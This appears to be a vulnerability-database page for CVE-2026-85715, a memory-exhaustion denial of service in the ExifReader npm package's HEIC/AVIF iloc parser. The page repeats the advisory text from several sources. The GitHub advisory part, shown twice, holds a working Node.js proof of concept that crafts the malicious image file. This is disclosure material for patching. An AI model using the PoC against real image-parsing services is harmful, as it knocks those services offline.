CVE-2026-85715
ExifReader: DoS via Crafted HEIC/AVIF iloc Box - Memory Exhaustion
ExifReader is a JavaScript Exif information parser. Prior to 4.41.1, ExifReader parses attacker-controlled HEIC or AVIF ISO-BMFF files in getItems() within src/image-header-iso-bmff-iloc.js and trusts iloc itemCount and extentCount values while allocating an extent object for every nested-loop iteration. When offsetSize, lengthSize, baseOffsetSize, and indexSize are zero, the extent fields consume no input bytes and the buffer offset does not advance, but the parser can still allocate up to itemCount multiplied by extentCount objects without an allocation budget. A small malicious iloc box can therefore cause hundreds of megabytes of heap growth or exhaust system memory, terminating a Node.js process and denying service to web, desktop, or mobile applications that parse untrusted images. The zero field widths are valid ISO-BMFF values indicating absent fields, so the vulnerable parser must bound work rather than relying on offset advancement. The issue is fixed in version 4.41.1.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
7.5
ExifReader: DoS via Crafted HEIC/AVIF iloc Box - Memory Exhaustion
ExifReader is a JavaScript Exif information parser. Prior to 4.41.1, ExifReader parses attacker-controlled HEIC or AVIF ISO-BMFF files in getItems() within src/image-header-iso-bmff-iloc.js and trusts iloc itemCount and extentCount values while allocating an extent object for every nested-loop iteration. When offsetSize, lengthSize, baseOffsetSize, and indexSize are zero, the extent fields consume no input bytes and the buffer offset does not advance, but the parser can still allocate up to itemCount multiplied by extentCount objects without an allocation budget. A small malicious iloc box can therefore cause hundreds of megabytes of heap growth or exhaust system memory, terminating a Node.js process and denying service to web, desktop, or mobile applications that parse untrusted images. The zero field widths are valid ISO-BMFF values indicating absent fields, so the vulnerable parser must bound work rather than relying on offset advancement. The issue is fixed in version 4.41.1.
- Record
CVE-2026-85715- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-789, CWE-835
- Updated
- 2026-11-02
EUVDEUVD-2026-81897
7.5
ExifReader is a JavaScript Exif information parser. Prior to 4.41.1, ExifReader parses attacker-controlled HEIC or AVIF ISO-BMFF files in getItems() within src/image-header-iso-bmff-iloc.js and trusts iloc itemCount and extentCount values while allocating an extent object for every nested-loop iteration. When offsetSize, lengthSize, baseOffsetSize, and indexSize are zero, the extent fields consume no input bytes and the buffer offset does not advance, but the parser can still allocate up to itemCount multiplied by extentCount objects without an allocation budget. A small malicious iloc box can therefore cause hundreds of megabytes of heap growth or exhaust system memory, terminating a Node.js process and denying service to web, desktop, or mobile applications that parse untrusted images. The zero field widths are valid ISO-BMFF values indicating absent fields, so the vulnerable parser must bound work rather than relying on offset advancement. The issue is fixed in version 4.41.1.
- Record
EUVD-2026-81897- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-pj96-35fp-cfcc
7.5
ExifReader: DoS via Crafted HEIC/AVIF iloc Box - Memory Exhaustion
Summary
ExifReader 4.41.0 is vulnerable to denial of service through a crafted HEIC or AVIF file with a malicious iloc box. When offsetSize, lengthSize, and baseOffsetSize are set to zero in the iloc header, the extent-parsing loop allocates an unbounded number of JavaScript objects - up to itemCount × extentCount (65535 × 65535 = 4.3 billion) - without advancing the buffer offset. A 652-byte file causes 400MB of heap growth; a 6KB file exhausts all system memory and crashes the Node.js process with a JavaScript heap out-of-memory error.
Affected version tested
- npm package:
exifreader - Version:
4.41.0 - Affected formats: HEIC, AVIF (ISO-BMFF container)
Root cause
File: src/image-header-iso-bmff-iloc.js, lines 79–116, function getItems().
The iloc parser reads four size fields from the file (each a 4-bit nibble, valid values 0–15):
| Field | Controls |
|-------|----------|
| offsetSize | Bytes per extent offset |
| lengthSize | Bytes per extent length |
| baseOffsetSize | Bytes per item base offset |
| indexSize | Bytes per extent index |
The code then enters a nested loop: for each item (up to 65535), and for each extent within that item (up to 65535), it reads variable-width fields and advances the buffer offset by the corresponding size:
for (let j = 0; j < item.extentCount; j++) {
const extent = {};
extent.extentIndex = getExtentIndex(dataView, version, offset, indexSize);
offset += sizes.item.extent.extentIndex; // 0 when indexSize=0
extent.extentOffset = getVariableSizedValue(dataView, offset, offsetSize);
offset += sizes.item.extent.extentOffset; // 0 when offsetSize=0
extent.extentLength = getVariableSizedValue(dataView, offset, lengthSize);
offset += sizes.item.extent.extentLength; // 0 when lengthSize=0
item.extents.push(extent); // allocates unconditionally
}
When all four size fields are zero (a valid value per the ISO-BMFF specification, meaning "field not present"), the buffer offset never advances inside the inner loop. Yet every iteration still pushes a new extensible object onto item.extents. There is no iteration cap, no cumulative allocation budget, and no guard that skips the inner loop when all sizes are zero.
Reproduction
Save the following as poc_iloc_dos.js and run with Node.js against the bundled dist/exif-reader.js:
const fs = require('fs');
const ExifReader = require('../ExifReader-4.41.0/dist/exif-reader.js');
function u32be(n) {
return [(n >>> 24) & 255, (n >>> 16) & 255, (n >>> 8) & 255, n & 255];
}
function u16be(n) {
return [(n >>> 8) & 255, n & 255];
}
function str(s) {
return Array.from(Buffer.from(s, 'ascii'));
}
function box(type, content) {
return [...u32be(8 + content.length), ...str(type), ...content];
}
const ITEMS = 10000;
const EXTENTS = 65535;
const ftyp = box('ftyp', [
...str('heic'),
...u32be(0),
...str('mif1'),
0, 0, 0, 0,
]);
const ilocPayload = [
0, 0, 0, 0,
0, 0,
...u16be(ITEMS),
];
for (let i = 0; i < ITEMS; i++) {
ilocPayload.push(...u16be(i + 1));
ilocPayload.push(...u16be(0));
ilocPayload.push(...u16be(EXTENTS));
}
const iloc = box('iloc', ilocPayload);
const meta = box('meta', [0, 0, 0, 0, ...iloc]);
const data = Uint8Array.from([...ftyp, ...meta]);
fs.writeFileSync('/tmp/poc_iloc_dos.heic', data);
console.log(`${data.length} bytes | ${ITEMS} items x ${EXTENTS} extents | ~${((ITEMS * EXTENTS * 80) / (1024 ** 3)).toFixed(0)} GB expected`);
const start = Date.now();
const timeout = setTimeout(() => {
console.log(`[DoS CONFIRMED] Hung after ${((Date.now() - start) / 1000).toFixed(1)}s`);
process.exit(1);
}, 30000);
try {
ExifReader.load(data.buffer);
clearTimeout(timeout);
console.log(`Parse completed in ${((Date.now() - start) / 1000).toFixed(1)}s`);
} catch (e) {
clearTimeout(timeout);
console.log(`Error:…
- Record
GHSA-pj96-35fp-cfcc- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-789, CWE-835
- Updated
- 2026-11-02
NVD
7.5
ExifReader is a JavaScript Exif information parser. Prior to 4.41.1, ExifReader parses attacker-controlled HEIC or AVIF ISO-BMFF files in getItems() within src/image-header-iso-bmff-iloc.js and trusts iloc itemCount and extentCount values while allocating an extent object for every nested-loop iteration. When offsetSize, lengthSize, baseOffsetSize, and indexSize are zero, the extent fields consume no input bytes and the buffer offset does not advance, but the parser can still allocate up to itemCount multiplied by extentCount objects without an allocation budget. A small malicious iloc box can therefore cause hundreds of megabytes of heap growth or exhaust system memory, terminating a Node.js process and denying service to web, desktop, or mobile applications that parse untrusted images. The zero field widths are valid ISO-BMFF values indicating absent fields, so the vulnerable parser must bound work rather than relying on offset advancement. The issue is fixed in version 4.41.1.
- Record
CVE-2026-85715- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-789, CWE-835
- Updated
- 2026-11-02
OSV
7.5
ExifReader: DoS via Crafted HEIC/AVIF iloc Box - Memory Exhaustion
ExifReader is a JavaScript Exif information parser. Prior to 4.41.1, ExifReader parses attacker-controlled HEIC or AVIF ISO-BMFF files in getItems() within src/image-header-iso-bmff-iloc.js and trusts iloc itemCount and extentCount values while allocating an extent object for every nested-loop iteration. When offsetSize, lengthSize, baseOffsetSize, and indexSize are zero, the extent fields consume no input bytes and the buffer offset does not advance, but the parser can still allocate up to itemCount multiplied by extentCount objects without an allocation budget. A small malicious iloc box can therefore cause hundreds of megabytes of heap growth or exhaust system memory, terminating a Node.js process and denying service to web, desktop, or mobile applications that parse untrusted images. The zero field widths are valid ISO-BMFF values indicating absent fields, so the vulnerable parser must bound work rather than relying on offset advancement. The issue is fixed in version 4.41.1.
- Record
CVE-2026-85715- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-789, CWE-835
- Updated
- 2026-11-02
OSVGHSA-pj96-35fp-cfcc
7.5
ExifReader: DoS via Crafted HEIC/AVIF iloc Box - Memory Exhaustion
Summary
ExifReader 4.41.0 is vulnerable to denial of service through a crafted HEIC or AVIF file with a malicious iloc box. When offsetSize, lengthSize, and baseOffsetSize are set to zero in the iloc header, the extent-parsing loop allocates an unbounded number of JavaScript objects - up to itemCount × extentCount (65535 × 65535 = 4.3 billion) - without advancing the buffer offset. A 652-byte file causes 400MB of heap growth; a 6KB file exhausts all system memory and crashes the Node.js process with a JavaScript heap out-of-memory error.
Affected version tested
- npm package:
exifreader - Version:
4.41.0 - Affected formats: HEIC, AVIF (ISO-BMFF container)
Root cause
File: src/image-header-iso-bmff-iloc.js, lines 79–116, function getItems().
The iloc parser reads four size fields from the file (each a 4-bit nibble, valid values 0–15):
| Field | Controls |
|-------|----------|
| offsetSize | Bytes per extent offset |
| lengthSize | Bytes per extent length |
| baseOffsetSize | Bytes per item base offset |
| indexSize | Bytes per extent index |
The code then enters a nested loop: for each item (up to 65535), and for each extent within that item (up to 65535), it reads variable-width fields and advances the buffer offset by the corresponding size:
for (let j = 0; j < item.extentCount; j++) {
const extent = {};
extent.extentIndex = getExtentIndex(dataView, version, offset, indexSize);
offset += sizes.item.extent.extentIndex; // 0 when indexSize=0
extent.extentOffset = getVariableSizedValue(dataView, offset, offsetSize);
offset += sizes.item.extent.extentOffset; // 0 when offsetSize=0
extent.extentLength = getVariableSizedValue(dataView, offset, lengthSize);
offset += sizes.item.extent.extentLength; // 0 when lengthSize=0
item.extents.push(extent); // allocates unconditionally
}
When all four size fields are zero (a valid value per the ISO-BMFF specification, meaning "field not present"), the buffer offset never advances inside the inner loop. Yet every iteration still pushes a new extensible object onto item.extents. There is no iteration cap, no cumulative allocation budget, and no guard that skips the inner loop when all sizes are zero.
Reproduction
Save the following as poc_iloc_dos.js and run with Node.js against the bundled dist/exif-reader.js:
const fs = require('fs');
const ExifReader = require('../ExifReader-4.41.0/dist/exif-reader.js');
function u32be(n) {
return [(n >>> 24) & 255, (n >>> 16) & 255, (n >>> 8) & 255, n & 255];
}
function u16be(n) {
return [(n >>> 8) & 255, n & 255];
}
function str(s) {
return Array.from(Buffer.from(s, 'ascii'));
}
function box(type, content) {
return [...u32be(8 + content.length), ...str(type), ...content];
}
const ITEMS = 10000;
const EXTENTS = 65535;
const ftyp = box('ftyp', [
...str('heic'),
...u32be(0),
...str('mif1'),
0, 0, 0, 0,
]);
const ilocPayload = [
0, 0, 0, 0,
0, 0,
...u16be(ITEMS),
];
for (let i = 0; i < ITEMS; i++) {
ilocPayload.push(...u16be(i + 1));
ilocPayload.push(...u16be(0));
ilocPayload.push(...u16be(EXTENTS));
}
const iloc = box('iloc', ilocPayload);
const meta = box('meta', [0, 0, 0, 0, ...iloc]);
const data = Uint8Array.from([...ftyp, ...meta]);
fs.writeFileSync('/tmp/poc_iloc_dos.heic', data);
console.log(`${data.length} bytes | ${ITEMS} items x ${EXTENTS} extents | ~${((ITEMS * EXTENTS * 80) / (1024 ** 3)).toFixed(0)} GB expected`);
const start = Date.now();
const timeout = setTimeout(() => {
console.log(`[DoS CONFIRMED] Hung after ${((Date.now() - start) / 1000).toFixed(1)}s`);
process.exit(1);
}, 30000);
try {
ExifReader.load(data.buffer);
clearTimeout(timeout);
console.log(`Parse completed in ${((Date.now() - start) / 1000).toFixed(1)}s`);
} catch (e) {
clearTimeout(timeout);
console.log(`Error:…
- Record
GHSA-pj96-35fp-cfcc- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-789, CWE-835
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
exifreadernpm |
through 4.41.0 | 4.41.1 |
exifreadernpm |
before 4.41.1 | 4.41.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-85715 is a high vulnerability (CVSS 7.5) in Mattiasw Exifreader, published September 17, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.61%, the 49th percentile. Fixed in exifreader 4.41.1.
References
github.com/mattiasw/ExifReader/security/advisories/GHSA-pj96-35fp-cfcc
github.com/mattiasw/ExifReader/commit/17b901cd192d2c90d7f9f347bd3073b28b482699
github.com/mattiasw/ExifReader/releases/tag/v4.41.1
github.com/advisories/GHSA-pj96-35fp-cfcc
github.com/CVEProject/cvelistV5/tree/main/cves/2026/85xxx/CVE-2026-85715.json
nvd.nist.gov/vuln/detail/CVE-2026-85715
github.com/mattiasw/ExifReader
Left out here: the rest of 2 source descriptions. The JSON record has them.